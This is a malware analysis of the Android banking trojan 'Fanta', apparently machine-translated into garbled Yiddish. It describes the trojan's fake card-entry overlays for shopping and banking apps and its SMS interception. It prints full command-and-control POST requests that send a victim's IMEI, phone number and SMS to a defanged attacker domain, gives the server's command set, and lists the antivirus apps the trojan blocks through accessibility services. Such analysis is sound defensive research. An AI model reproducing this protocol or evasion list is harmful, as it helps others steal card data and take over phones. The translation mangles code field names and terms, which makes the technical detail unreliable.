| ื ืึธืืขื | ืคืขืืืงืืึทื ืืืขืจื | ืืขืืืขื ืืืึทืืืขืก | ืืึทืฉืจืืึทืืื ื |
|---|---|---|---|
| pckg | - | ืฉืืจืืงื | ื ืึธืืขื ืคืื SMS ืึธื ืืึธื ืคืึทืจืืืึทืืืขืจ ืืขืืืืื ื |
ืื ืืขืจืึทืงืฉืึทื ืืื ืืึทืืึทืืืืกืื
ืืขืฉืึทืก ืืืึทื ืึธืคึผืขืจืึทืฆืืข, ืื ืืจืึธืืืฉืึทื ื ืืฆื ืฆืืืื ืืึทืืึทืืืืกืื. ืืึทืืึทืืึทืกืข ืืขืืืืกื a ืืขืืืืื ื ืฆื ืงืจืึธื ืคืึทืจืฉืืื ืืื ืคึฟืึธืจืืึทืฆืืข ืืขืืืืื ืคืื ืื ืืขืืขืคืึธื. ืื ืฆืืืืืืข ืืึทืืึทืืืืก ืืื ืืขืืืืกื fanta.db ืืื ืืื ืืขื ืืฆื ืฆื ืจืึทืืขืืืขื ืกืขืืืื ืืก ืคืึทืจืึทื ืืืืึธืจืืืขื ืคึฟืึทืจ ืงืจืืืืืื ื ืคืืฉืื ื ืคึฟืขื ืฆืืขืจ ืืืืืื ื ืฆื ืืึทืืืขื ืืื ืคึฟืึธืจืืึทืฆืืข ืืืขืื ืืึทื ืง ืงืึทืจืืก.
ืืจืึธืืืฉืึทื ื ืืฆื ืืืืืึทืืืืก ะฐ ืฆื ืงืจืึธื ืืขืืืืื ืืื ืคึฟืึธืจืืึทืฆืืข ืืื ืงืืึธืฅ ืืืื ืึทืงืฉืึทื ื. ืืึทืื ืืขื ืขื ืกืืึธืจื ืืื ืึท ืืืฉ ืืึธืืก. ืฆื ืฉืึทืคึฟื ืึท ืืืฉ, ื ืืฆื ืื ืคืืืืขื ืืข SQL ืึธื ืคึฟืจืขื:
create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)ืื ืืึทืืึทืืืืก ืึผืืื ืื ืคืืืืขื ืืข ืืื ืคึฟืึธืจืืึทืฆืืข:
1. ืืึธืืื ื ืื ืกืืึทืจืืึทืคึผ ืคืื ืื ืื ืคืขืงืืึทื ืืืื ืืื ืึท ืึธื ืืึธื ืืขืจ ืืขืืขืคืึธื ืืึธื ืืื ืึธื ืืขืืืืื!
2. ื ืึธืืืึทืคืึทืงืืืฉืึทื ื ืคืื ืึทืคึผืืึทืงืืืฉืึทื ื. ืืขืจ ืึธื ืืึธื ืืื ืืืฉืขื ืขืจืืืืึทื ืืืื ืื ืคืืืืขื ืืข ืืืกืืขืจ:
(<%App Name%>)<%Title%>: <%Notification text%>
3. ืืึทื ืง ืงืึธืจื ืืึทืื ืคืื ืคืืฉืื ื ืคืืจืืขื ืืืฉืืคื ืืืจื ืื ืืจืึธืืืฉืึทื. ืคึผืึทืจืึทืืขืืขืจ VIEW_NAME ืงืขื ืืืื ืืืื ืขืจ ืคืื ืื ืคืืืืขื ืืข:
- AliExpress
- Avito
- ืืืื ืฉืคึผืื
- ืคืึทืจืฉืืืื
ืืขืจ ืึธื ืืึธื ืืื ืืึธืื ืืื ืืขื ืคึฟืึธืจืืึทื:
[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) ะะพะผะตั ะบะฐััั:<%CARD_NUMBER%>; ะะฐัะฐ:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>
4. ืื ืงืึทืืื ื / ืึทืืืืึธืืื ื SMS ืึทืจืืืงืืขื ืืื ืืขื ืคึฟืึธืจืืึทื:
([<%Time in format HH:mm:ss dd.MM.yyyy%>] ะขะธะฟ: ะั
ะพะดััะตะต/ะัั
ะพะดััะตะต) <%Mobile number%>:<%SMS-text%>
5. ืืื ืคึฟืึธืจืืึทืฆืืข ืืืขืื ืืขื ืคึผืขืงื ืืืึธืก ืงืจืืืืฅ ืื ืืืึทืืึธื ืงืขืกืื ืืื ืืขื ืคึฟืึธืจืืึทื:
(<%Package name%>)<%Package information%>
ืืืึทืฉืคึผืื ืืืฉ ืืึธืืก:
ืืืื ืขืจ ืคืื ืื ืคืึทื ืืงืฉืึทื ืึทืืืื ืคืื Fanta ืืื ืื ืืึทืืืื ื ืคืื ืืื ืคึฟืึธืจืืึทืฆืืข ืืืขืื ืืึทื ืง ืงืึทืจืืก. ืืึทืื ืืึทืืืื ื ืึทืงืขืจื ืืืจื ืื ืฉืึทืคืื ื ืคืื ืคืืฉืื ื ืคึฟืขื ืฆืืขืจ ืืืขื ืขืคื ืืึทื ืงืื ื ืึทืคึผืืึทืงืืืฉืึทื ื. ืื ืืจืึธืืืฉืึทื ืงืจืืืืฅ ืื ืคืืฉืื ื ืคึฟืขื ืฆืืขืจ ืืืืื ืึทืืึธื. ืืื ืคึฟืึธืจืืึทืฆืืข ืึทื ืื ืคึฟืขื ืฆืืขืจ ืืื ืืขืืืืื ืฆื ืืขืจ ืืึทื ืืฆืขืจ ืืื ืกืืึธืจื ืืื ืึท ืืืฉ ืกืขืืืื ืืก ืืื ืื ืืึทืืึทืืืืก fanta.db. ืฆื ืฉืึทืคึฟื ืึท ืืึทืืึทืืืืก, ื ืืฆื ืื ืคืืืืขื ืืข SQL ืึธื ืคึฟืจืขื:
create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);ืึทืืข ืืืฉ ืคืขืืืขืจ ืกืขืืืื ืืก ืืืจื ืคืขืืืงืืึทื ืื ืืืืึทืืืืื ืฆื 1 (ืฉืึทืคึฟื ืึท ืคืืฉืื ื ืคึฟืขื ืฆืืขืจ). ื ืึธื ืืขืจ ืืึทื ืืฆืขืจ ืืืื ืืจืืื ืืืืขืจ ืืึทืื, ืื ืืืขืจื ืืืขื ืืืื ืืึทืฉืืืื ืฆื 0. ืืืึทืฉืคึผืื ืคืื ืืืฉ ืคืขืืืขืจ ืกืขืืืื ืืก:
- ืงืขื ืขื_ืืึธืืื - ืื ืคืขืื ืืื ืคืึทืจืึทื ืืืืึธืจืืืขื ืคึฟืึทืจ ืืืืึทืื ืืืง ืื ืคืึธืจืขื ืืืขื ืขืคื ืึท ืืึทื ืงืื ื ืึทืคึผืืึทืงืืืฉืึทื
- first_bank - ื ืื ืืขืืืืื ื
- can_avito - ืื ืคืขืื ืืื ืคืึทืจืึทื ืืืืึธืจืืืขื ืคึฟืึทืจ ืืืืึทืื ืืืง ืื ืคืึธืจืขื ืืืขื ืขืคื ืื Avito ืึทืคึผืืึทืงืืืฉืึทื
- ืงืขื ืขื_ืึทืื - ืื ืคืขืื ืืื ืคืึทืจืึทื ืืืืึธืจืืืขื ืคึฟืึทืจ ืืืืึทืื ืืืง ืื ืคืึธืจืขื ืืืขื ืขืคื ืื Aliexpress ืึทืคึผืืึทืงืืืฉืึทื
- ืงืขื ืขื_ืื ืืขืจืข - ืื ืคืขืื ืืื ืคืึทืจืึทื ืืืืึธืจืืืขื ืคึฟืึทืจ ืืืืึทืื ืืืง ืื ืคืึธืจืขื ืืืขื ืขืคื ืงืืื ืึทืคึผืืึทืงืืืฉืึทื ืคืื ืืขืจ ืจืฉืืื: Yula, Pandao, Drom Auto, Wallet. ืึทืจืึธืคึผืจืขืืขื ืขื ืืื ืืึธื ืืก ืงืึทืจืืก, ืึทืืืืึทืกืึทืืขืก, ืืืงืื ื, ืืจืืืืึทืืึธ
- can_card - ืื ืคืขืื ืืื ืคืึทืจืึทื ืืืืึธืจืืืขื ืคึฟืึทืจ ืืืืึทืื ืืืง ืื ืคืึธืจืขื ืืืขื ืขืคื ืืืื ืฉืคึผืื
ืื ืืขืจืึทืงืฉืึทื ืืื ืื ืคืึทืจืืืึทืืืื ื ืกืขืจืืืขืจ
ื ืขืฅ ืื ืืขืจืึทืงืฉืึทื ืืื ืื ืคืึทืจืืืึทืืืื ื ืกืขืจืืืขืจ ืึทืงืขืจื ืืืจื ืื ืืืืคึผ ืคึผืจืึธืืึธืงืึธื. ืฆื ืึทืจืืขืื ืืื ืื ื ืขืฅ, Fanta ื ืืฆื ืื ืคืึธืืงืก ืจืขืืจืึธืคืื ืืืืืืึธืืขืง. ืจืืงืืืขืก ืืขื ืขื ืืขืฉืืงื ืฆื: hXXp://onuseseddohap[.]club/controller.php. ืื ืกืขืจืืืขืจ ืึทืืจืขืก ืงืขื ืขื ืืืื ืืฉืืื ืืืฉื ืืืขื ืจืขืืืฉืืกืืขืจืื ื ืืืืฃ ืื ืกืขืจืืืขืจ. ืงืึธืึธืงืืขืก ืงืขื ืืืื ืืขืฉืืงื ืืื ืขื ืืคืขืจ ืคืื ืื ืกืขืจืืืขืจ. ืคืึทื ืืึท ืืืื ืื ืคืืืืขื ืืข ืจืืงืืืขืก ืฆื ืื ืกืขืจืืืขืจ:
- ืคืึทืจืฉืจืืืืื ื ืคืื ืื ืืึธื ืืืืฃ ืื ืงืึธื ืืจืึธื ืกืขืจืืืขืจ ืึทืงืขืจื ืึทืืึธื, ืืืืฃ ืืขืจ ืขืจืฉืืขืจ ืงืึทืืขืจ. ืื ืคืืืืขื ืืข ืืึทืื ืืืขืื ืื ืื ืคืขืงืืึทื ืืืื ืืขื ืขื ืืขืฉืืงื ืฆื ืื ืกืขืจืืืขืจ:
ยท ืงืืื - ืงืืืืขื ืืืงืืืขื ืคืื ืื ืกืขืจืืืขืจ (ืคืขืืืงืืึทื ืืืขืจื ืืื ืึท ืืืืืืง ืฉืืจืืงื)
ยท ืืึธืืข - ืฉืืจืืงื ืงืขืกืืืืขืจืืืง register_bot
ยท ืคืจืขืคืืงืก - ืืึทื ืฅ ืืขืฆืึธืื ืงืขืกืืืืขืจืืืง 2
ยท version_sdk - ืืื ืืขืฉืืคื ืืืื ืื ืคืืืืขื ืืข ืืืกืืขืจ: /(Avit)
ยท ืืืขื - IMEI ืคืื ืื ืื ืคืขืงืืึทื ืืืื
ยท ืืึทื ื - ืงืึธื ืคืื ืื ืืืื ื ืืื ืืืึธืก ืืขืจ ืึธืคึผืขืจืึทืืึธืจ ืืื ืจืขืืืกืืจืืจื, ืืื ISO ืคึฟืึธืจืืึทื
ยท ื ืืืขืจ - ืืขืืขืคืึธื ื ืืืขืจ
ยท ืึธืคึผืขืจืึทืืึธืจ โ ืึธืคึผืขืจืึทืืึธืจ ื ืึธืืขืื ืืืืฉืคึผืื ืคืื ืึท ืืงืฉื ืืขืฉืืงื ืฆื ืื ืกืขืจืืืขืจ:
POST /controller.php HTTP/1.1 Cookie: Content-Type: application/x-www-form-urlencoded Content-Length: 144 Host: onuseseddohap.club Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.6.0 mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>ืืื ืขื ืืคืขืจ ืฆื ืื ืืขืื, ืืขืจ ืกืขืจืืืขืจ ืืืื ืฆืืจืืงืงืืืขื ืึท JSON ืืืืคืขืฅ ืืื ืื ืคืืืืขื ืืข ืคึผืึทืจืึทืืขืืขืจืก:
ยท ืืึธื_ืื - ID ืคืื ืื ืื ืคืขืงืืึทื ืืืื. ืืืื bot_id ืืื ืืืืึทื ืฆื 0, ืคืึทื ืืึท ืืืขื ืฉืืึทืขื-ืืืกืคืืจื ืื ืืขืื.
bot_pwd - ืคึผืึทืจืึธื ืคึฟืึทืจ ืื ืกืขืจืืืขืจ.
ืกืขืจืืืขืจ - ืงืึธื ืืจืึธื ืกืขืจืืืขืจ ืึทืืจืขืก. ืึธืคึผืืืึธื ืึทื ืคึผืึทืจืึทืืขืืขืจ. ืืืื ืืขืจ ืคึผืึทืจืึทืืขืืขืจ ืืื ื ืืฉื ืกืคึผืขืกืืคืืขื, ืื ืึทืืจืขืก ืืขืจืืืขืืืขื ืืื ืื ืึทืคึผืืึทืงืืืฉืึทื ืืืขื ืืืื ืืขืืืืื ื.ืืืึทืฉืคึผืื JSON ืืืืคืขืฅ:
{ "response":[ { "bot_id": <%BOT_ID%>, "bot_pwd": <%BOT_PWD%>, "server": <%SERVER%> } ], "status":"ok" }
- ืืขืื ืฆื ืืึทืงืืืขื ืึท ืืึทืคึฟืขื ืคืื ืื ืกืขืจืืืขืจ. ืื ืคืืืืขื ืืข ืืึทืื ืืขื ืขื ืืขืฉืืงื ืฆื ืื ืกืขืจืืืขืจ:
ยท ืงืืื - ืงืืืืขื ืืืงืืืขื ืคืื ืื ืกืขืจืืืขืจ
ยท ืืึทืคืขืื - ID ืคืื ืื ืื ืคืขืงืืึทื ืืืื ืืืึธืก ืืื ืืขืืืขื ืืืงืืืขื ืืืขื ืฉืืงื ืื ืืงืฉื register_bot
ยท pwd - ืคึผืึทืจืึธื ืคึฟืึทืจ ืื ืกืขืจืืืขืจ
ยท divice_admin - ืื ืคืขืื ืืึทืฉืืืื ืฆื ืึทืืืื ืืกืืจืึทืืึธืจ ืจืขืื ืืขื ืขื ืืืงืืืขื. ืืืื ืึทืืืื ืืกืืจืึทืืึธืจ ืจืขืื ืืึธืื ืฉืืื ืืืงืืืขื, ืื ืคืขืื ืืื ืืืืึทื ืฆื 1, ืื ืืขืจืฉ 0
ยท ืึทืงืกืขืกืึทืืืืืื - ืึทืงืกืขืกืึทืืืืืื ืกืขืจืืืืก ืึธืคึผืขืจืึทืฆืืข ืกืืึทืืืก. ืืืื ืื ืืื ืกื ืืื ืกืืึทืจืืขื, ืื ืืืขืจื ืืื 1, ืื ืืขืจืฉ 0
ยท SMS ืืึทื ืึทืืขืจ - ืืืืืื ืฆื ืื ืืจืึธืืืฉืึทื ืืื ืขื ืืืืึทืื ืืื ืื ืคืขืืืงืืึทื ืึทืคึผืืึทืงืืืฉืึทื ืคึฟืึทืจ ืจืืกืืืืื ื SMS
ยท ืคืึทืจืฉืืขืื - ืืืกืคึผืืืื ืืื ืืืึธืก ืฉืืึทื ืื ืคืึทืจืฉืืขืื ืืื. ืื ืืืขืจื ืืืขื ืืืื ืืึทืฉืืืื 1, ืืืื ืื ืคืึทืจืฉืืขืื ืืื ืืืืฃ, ืึทื ืืขืจืฉ 0;ื ืืืืฉืคึผืื ืคืื ืึท ืืงืฉื ืืขืฉืืงื ืฆื ืื ืกืขืจืืืขืจ:
POST /controller.php HTTP/1.1 Cookie: Content-Type: application/x-www-form-urlencoded Host: onuseseddohap.club Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.6.0 mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>ืืขืคึผืขื ืืื ื ืืืืฃ ืื ืืึทืคึฟืขื, ืืขืจ ืกืขืจืืืขืจ ืงืขื ืขื ืฆืืจืืงืงืืืขื ืึท JSON ืืืืคืขืฅ ืืื ืคืึทืจืฉืืืขื ืข ืคึผืึทืจืึทืืขืืขืจืก:
ยท ืงืึธืืขืงืืืื ืฉืืงื SMS ืึธื ืืึธื: ืื ืคึผืึทืจืึทืืขืืขืจืก ืึทื ืืืึทืืื ืื ืืขืืขืคืึธื ื ืืืขืจ, ืื ืืขืงืกื ืคืื ืื SMS ืึธื ืืึธื ืืื ืื ืฉืืึทื ืคืื ืื ืืขืฉืืงื ืึธื ืืึธื. ืืขืจ ืืืืขื ืืืคืืฆืืจื ืืืขืจื ืืขื ืืฆื ืืืขื ืืขื ืฉืืงื ื ืืขืกืขืืืฉ ืฆื ืืขื ืกืขืจืืืขืจ ืืื ืืืคึผ setSmsStatus.
{ "response": [ { "mode": 0, "sms_number": <%SMS_NUMBER%>, "sms_text": <%SMS_TEXT%>, "sms_id": %SMS_ID% } ], "status":"ok" }ยท ืงืึธืืขืงืืืื ืืึทืื ืึท ืืขืืขืคืึธื ืจืืคื ืึธืืขืจ USSD ืืึทืคึฟืขื: ืืขืจ ืืขืืขืคืึธื ื ืืืขืจ ืึธืืขืจ ืืึทืคึฟืขื ืงืืื ืืื ืื ืขื ืืคืขืจ ืืืฃ.
{ "response": [ { "mode": 1, "command": <%TEL_NUMBER%> } ], "status":"ok" }ยท ืงืึธืืขืงืืืื ืืืืฉื ืื ืืขืจืืืึทื ืคึผืึทืจืึทืืขืืขืจ.
{ "response": [ { "mode": 2, "interval": <%SECONDS%> } ], "status":"ok" }ยท ืงืึธืืขืงืืืื ืืืืฉื ืื ืืขืจืกืขืคึผื ืคึผืึทืจืึทืืขืืขืจ.
{ "response": [ { "mode": 3, "intercept": "all"/"telNumber"/<%ANY_STRING%> } ], "status":"ok" }ยท ืงืึธืืขืงืืืื ืืืืฉื SmsManager ืคืขืื.
{ "response": [ { "mode": 6, "enable": 0/1 } ], "status":"ok" }ยท ืงืึธืืขืงืืืื ืงืืืึทืื SMS ืึทืจืืืงืืขื ืคืื ืึท ืื ืคืขืงืืึทื ืืืื.
{ "response": [ { "mode": 9 } ], "status":"ok" }ยท ืงืึธืืขืงืืืื ืืึทืฉืืขืืืง ืืืื ืืขืืขืคืึธื ืฆื ืื ืคืึทืืจืืง ืกืขืืืื ืืก:
{ "response": [ { "mode": 11 } ], "status":"ok" }ยท ืงืึธืืขืงืืืื ืืืืฉื ReadDialog ืคึผืึทืจืึทืืขืืขืจ.
{ "response": [ { "mode": 12, "enable": 0/1 } ], "status":"ok" }
- ืฉืืงื ืึท ืึธื ืืึธื ืืื ืืืคึผ setSmsStatus. ืืขื ืืงืฉื ืืื ืืขืืืื ื ืึธื ืื ืืึทืคึฟืขื ืืื ืขืงืกืึทืงืืืืึทื ืฉืืงื SMS ืึธื ืืึธื. ืื ืืงืฉื ืงืืงื ืืื ืืึธืก:
POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0
mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>- ืืคึผืืึธืึทืืื ื ืืืืืึทืืืืก ืืื ืืึทืื. ืืืื ืจืืืขืจื ืืื ืืจืึทื ืกืืืืืขื ืคึผืขืจ ืืงืฉื. ืื ืคืืืืขื ืืข ืืึทืื ืืขื ืขื ืืขืฉืืงื ืฆื ืื ืกืขืจืืืขืจ:
ยท ืงืืื - ืงืืืืขื ืืืงืืืขื ืคืื ืื ืกืขืจืืืขืจ
ยท ืืึธืืข - ืฉืืจืืงื ืงืขืกืืืืขืจืืืง setSaveInboxSms
ยท ืืึทืคืขืื - ID ืคืื ืื ืื ืคืขืงืืึทื ืืืื ืืืึธืก ืืื ืืขืืืขื ืืืงืืืขื ืืืขื ืฉืืงื ืื ืืงืฉื register_bot
ยท ืืขืงืกื - ืืขืงืกื ืืื ืื ืงืจืึทื ื ืืึทืืึทืืืืก ืจืขืงืึธืจื (ืคืขืื d ืคืื ืืืฉ ืืึธืืก ืืื ืื ืืึทืืึทืืืืก ะฐ)
ยท ื ืืืขืจ - ื ืึธืืขื ืคืื ืื ืงืจืึทื ื ืืึทืืึทืืืืก ืจืขืงืึธืจื (ืคืขืื p ืคืื ืืืฉ ืืึธืืก ืืื ืื ืืึทืืึทืืืืก ะฐ)
ยท sms_mode - ืืึทื ืฅ ืืืขืจื (ืคืขืื m ืคืื ืืืฉ ืืึธืืก ืืื ืื ืืึทืืึทืืืืก ะฐ)ืื ืืงืฉื ืงืืงื ืืื ืืึธืก:
POST /controller.php HTTP/1.1 Cookie: Content-Type: application/x-www-form-urlencoded Host: onuseseddohap.club Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.6.0 mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>ืืืื ืืฆืืื ืืขืฉืืงื ืฆื ืื ืกืขืจืืืขืจ, ืื ืจืืืขืจื ืืืขื ืืืื ืืืืกืืขืืขืงื ืคืื ืื ืืืฉ. ืืืึทืฉืคึผืื ืคืื ืึท JSON ืืืืคืขืฅ ืืืืืขืงืขืจื ืืืจื ืื ืกืขืจืืืขืจ:
{ "response":[], "status":"ok" }
ืื ืืขืจืึทืงืืื ื ืืื ืึทืงืกืขืกืึทืืืืืื ืกืขืจืืืืก
ืึทืงืกืขืกืึทืืืืืื ืกืขืจืืืืก ืืื ืืืคึผืืึทืืขื ืึทื ืฆื ืืึทืื ืึทื ืืจืืื ืืขืืืืกืขืก ืืจืื ืืขืจ ืฆื ื ืืฆื ืคึฟืึทืจ ืืขื ืืฉื ืืื ืืืกืึทืืืืืืื. ืืื ืจืืึฟ ืงืึทืกืขืก, ืืฉืืืืช ืื ืืขืจืึทืงืฉืึทื ืืื ืคืืจืืื ืื ืฆื ืื ืืขืจืึทืงื ืืื ืึท ืึทืคึผืืึทืงืืืฉืึทื. AccessibilityService ืึทืืึทืื ืืืจ ืฆื ืืึธื ืืื ืคึผืจืึธืืจืึทืืืึทืืืง. ืคืึทื ืืึท ื ืืฆื ืื ืืื ืกื ืฆื ืฉืึทืคึฟื ืฉืืืื ืื ืคึฟืขื ืฆืืขืจ ืืื ืืึทื ืงืื ื ืึทืคึผืืึทืงืืืฉืึทื ื ืืื ืคืึทืจืืืื ืื ืืึทื ืืฆืขืจ ืคืื ืขืคื ืกืืกืืขื ืกืขืืืื ืืก ืืื ืขืืืขืืข ืึทืคึผืืึทืงืืืฉืึทื ื.
ื ืืฆื ืื ืคืึทื ืืงืฉืึทื ืึทืืืื ืคืื ืื ืึทืงืกืขืกืึทืืืืืื ืกืขืจืืืืก, ืื ืืจืึธืืืฉืึทื ืืึธื ืืืึธืจืก ืขื ืืขืจืื ืืขื ืฆื ืขืืขืืขื ืื ืืืืฃ ืื ืคืึทืจืฉืืขืื ืคืื ืื ืื ืคืขืงืืึทื ืืืื. ืืื ืคืจืืขืจ ืืืกืงืจืืืื, ืื ืคืึทื ืืึท ืกืขืืืื ืืก ืึทื ืืืึทืืื ืึท ืคึผืึทืจืึทืืขืืขืจ ืคืึทืจืึทื ืืืืึธืจืืืขื ืคึฟืึทืจ ืืึธืืื ื ืึทืคึผืขืจืืืฉืึทื ื ืืื ืืืึทืืึธื ืืึธืงืกืขืก - ืืืืขื ืขื ืืืึทืืึธื. ืืืื ืืขืจ ืคึผืึทืจืึทืืขืืขืจ ืืื ืืึทืฉืืืื, ืืื ืคึฟืึธืจืืึทืฆืืข ืืืขืื ืื ื ืึธืืขื ืืื ืืึทืฉืจืืึทืืื ื ืคืื ืื ืคึผืขืงื ืืืึธืก ืืจืืืขืจื ืื ืืขืฉืขืขื ืืฉ ืืืขื ืืืื ืืืกืืฃ ืฆื ืื ืืึทืืึทืืืืก. ืื ืืจืึธืืืฉืึทื ืคึผืขืจืคืึธืจืื ืื ืคืืืืขื ืืข ืึทืงืฉืึทื ื ืืืขื ืืขืฉืขืขื ืืฉื ืืขื ืขื ืืจืืืขืจื:
- ืกืืืืึทืืืืฅ ืืจืื ืืืขื ืื ืฆืืจืืง ืืื ืืืื ืฉืืืกืืขื ืืื ืื ืคืืืืขื ืืข ืงืึทืกืขืก:
ยท ืืืื ืืขืจ ืืึทื ืืฆืขืจ ืืืื ืฆื ืจืขืืึธืึธื ืืืื ืืืื
ยท ืืืื ืืขืจ ืืึทื ืืฆืขืจ ืืืื ืฆื ืืืกืืขืงื ืื "ืึทืืืืืึธ" ืึทืคึผืืึทืงืืืฉืึทื ืึธืืขืจ ืืืืฉื ืึทืงืกืขืก ืจืขืื
ยท ืืืื ืขืก ืืื ืึท ืืขืจืืึธื ืขื ืคืื ืื "ืึทืืืืืึธ" ืึทืคึผืืึทืงืืืฉืึทื ืืืืฃ ืืขื ืืืึทื
ยท ืืืขื ืขืคื ืื Google Play ืคึผืจืึธืืขืงื ืึทืคึผืืึทืงืืืฉืึทื
ยท ืืืขื ืขืคื ืืืขืืขืจ ืืื ืึทืงืกืขืกืึทืืืืืื ืกืขืจืืืืก ืกืขืืืื ืืก
ยท ืืืขื ืื ืกืืกืืขื ืืืืขืจืืืื ืืืึทืืึธื ืงืขืกืื ืืื ืืจืืืก
ยท ืืืขื ืขืคื ืืขื ืืืึทื ืืื ืื ืกืขืืืื ืืก "ืฆืืขื ืืืืขืจ ืื ืืขืจืข ืึทืคึผ".
ยท ืืืขื ืขืคื ืื "ืึทืคึผืคึผืืืงืึทืืืึธื ืก" ืืืึทื, "ืจืขืงืึธืืืขืจื ืืื ืืึทืฉืืขืืืง", "ืืึทืืึท ืืึทืฉืืขืืืง", "ืืึทืฉืืขืืืง ืกืขืืืื ืืก", "ืืขืืืขืืึธืคึผืขืจ ืืึทืคืืืข", "ืกืคึผืขืฆืืขื. ืึทืคึผืขืจืืื ืึทืืื", "ืกืคึผืขืฆืืขืืข ืึทืคึผืขืจืืื ืึทืืื", "ืกืคึผืขืฆืืขืืข ืจืขืื"
ยท ืืืื ืื ืืขืฉืขืขื ืืฉ ืืื ืืืฉืขื ืขืจืืืืึทื ืืืจื ืืืืขืจ ืึทืคึผืืึทืงืืืฉืึทื ื.ืจืฉืืื ืคืื ืึทืคึผืืึทืงืืืฉืึทื ื
- ืึทื ืืจืืื
- ืืขื ืืืื
- ืจืืื ืืืจ
- ืจืืื ืืืจ ืคึฟืึทืจ ืงืก86 ืงืคึผื
- Meizu ืึทืคึผืืึทืงืืืฉืึทื ืืขืจืืืืืขื ืืฉ ืืึทื ืึทืืขืืขื ื
- MIUI ืืืืขืจืืืื
- ืจืืื ืืืจ - ืึทื ืืืืืืจืืก & ืงืึทืฉ ืืื ืืืกื ืงืืื ืขืจ
- ืคึผืึทืจืขื ืืึทื ืงืึธื ืืจืึธืืก ืืื ืืคึผืก: Kaspersky SafeKids
- Kaspersky Antivirus AppLock & Web Security Beta
- ืืืืจืืก ืงืืื ืขืจ, ืึทื ืืืืืืจืืก, ืงืืื ืขืจ (ืืึทืงืก ืืืืขืจืืืื)
- ืืึธืืื ืึทื ืืืืืืจืืก ืืืืขืจืืืื ืคึผืจืึธ
- ืึทืืืึทืกื ืึทื ืืืืืืจืืก ืืื ืคืจืื ืฉืืฅ 2019
- ืืึธืืื ืืืืขืจืืืื ืืขืืึทืคืึธื
- AVG ืคึผืจืึทืืขืงืฉืึทื ืคึฟืึทืจ Xperia
- ืืึธืืื ืืืืขืจืืืึทื
- ืึทื ืืืืืืจืืก ืืื ืฉืืฅ ืคืื Malwarebytes
- ืึทื ืืืืืืจืืก ืคึฟืึทืจ ืึทื ืืจืืื 2019
- ืืืืขืจืืืื ืืืจ - ืึทื ืืืืืืจืืก, ืืืคึผื, ืึทืคึผืคึผืืึธืงืง, ืืืกืืขืจ
- AVG ืึทื ืืืืืืจืืก ืคึฟืึทืจ ืืืึทืืืขื ืืึทืืืขื ืกืืกืืขื ืืึทื ืึทืืขืจ
- ืกืึทืืกืื ื ืึทืงืกืขืกืึทืืืืืื
- ืกืึทืืกืื ื ืกืืึทืจื ืืึทื ืึทืืขืจ
- ืกืขืงืืจืืื ืืืจ
- ืกืคึผืื ืืืกืืขืจ
- ืืจ. ืืืขื
- ืืจ.ืืืขื ืืืืขืจืืืื ืกืคืขืืก
- ืืจ.ืืืขื ืืึธืืื ืงืึธื ืืจืึธื ืฆืขื ืืขืจ
- ืืจ.ืืืขื ืกืขืงืืจืืื ืกืคืขืืก ืืขืื
- ืืจ.ืืืขื ืืึธืืื ืงืึธื ืืจืึธื ืฆืขื ืืขืจ
- ืึทื ืืืืืืจืืก ืืื ืืึธืืื ืืืืขืจืืืื
- Kaspersky Internet Security: ืึทื ืืืืืืจืืก ืืื ืฉืืฅ
- Kaspersky Battery Life: Saver & Booster
- Kaspersky Endpoint Security - ืฉืืฅ ืืื ืคืึทืจืืืึทืืืื ื
- AVG ืึทื ืืืืืืจืืก ืคืจืื 2019 - ืฉืืฅ ืคึฟืึทืจ ืึทื ืืจืืื
- ืึทื ืืืืืืจืืก ืึทื ืืจืืื
- Norton ืืึธืืื ืืืืขืจืืืื ืืื ืึทื ืืืืืืจืืก
- ืึทื ืืืืืืจืืก, ืคืืืจืืืึทื, ืืืคึผื, ืจืืจืขืืืืืง ืืืืขืจืืืื
- ืจืืจืขืืืืืง ืืืืขืจืืืื: ืึทื ืืืืืืจืืก, ืืืคึผื, ืื ืืืืืข ืฉืืฅ
- ืึทื ืืืืืืจืืก ืคึฟืึทืจ ืึทื ืืจืืื
- ืืืื ืืขืจ ืืขืจืืืืืขื ืืฉ ืืื ืืขืืขืื ืืืขื ืืืจ ืฉืืงื ืึท SMS ืึธื ืืึธื ืฆื ืึท ืงืืจืฅ ื ืืืขืจ, ืคืึทื ืืึท ืกืืืืึทืืืืฅ ืงืืืงืื ื ืืืืฃ ืื ืืฉืขืงืงืืึธืงืก ืืขืืขื ืงื ืืจืืจื ืืื ืงื ืขืคึผื ืฆื ืฉืืงื.
- ืืืขื ืืืจ ืคึผืจืืืืจื ืฆื ื ืขืืขื ืึทืืืื ืืกืืจืึทืืึธืจ ืจืขืื ืคืื ืื ืืจืึธืืืฉืึทื, ืขืก ืืึทืงืก ืื ืืขืืขืคืึธื ืคืึทืจืฉืืขืื.
- ืคึผืจืืืืขื ืฅ ืึทืืื ื ื ืืึท ืึทืืืื ืืกืืจืึทืืึธืจืก.
- ืืืื ืื ืึทื ืืืืืืจืืก ืึทืคึผืืึทืงืืืฉืึทื dr.web ืืืืขืงืืึทื ืึท ืกืึทืงืึธื ืข, ืคืึทื ืืึท ืืืึทืืืืฅ ืืจืื ืืืขื ืืขื ืงื ืขืคึผื ืืืื ืึธืจืืจื.
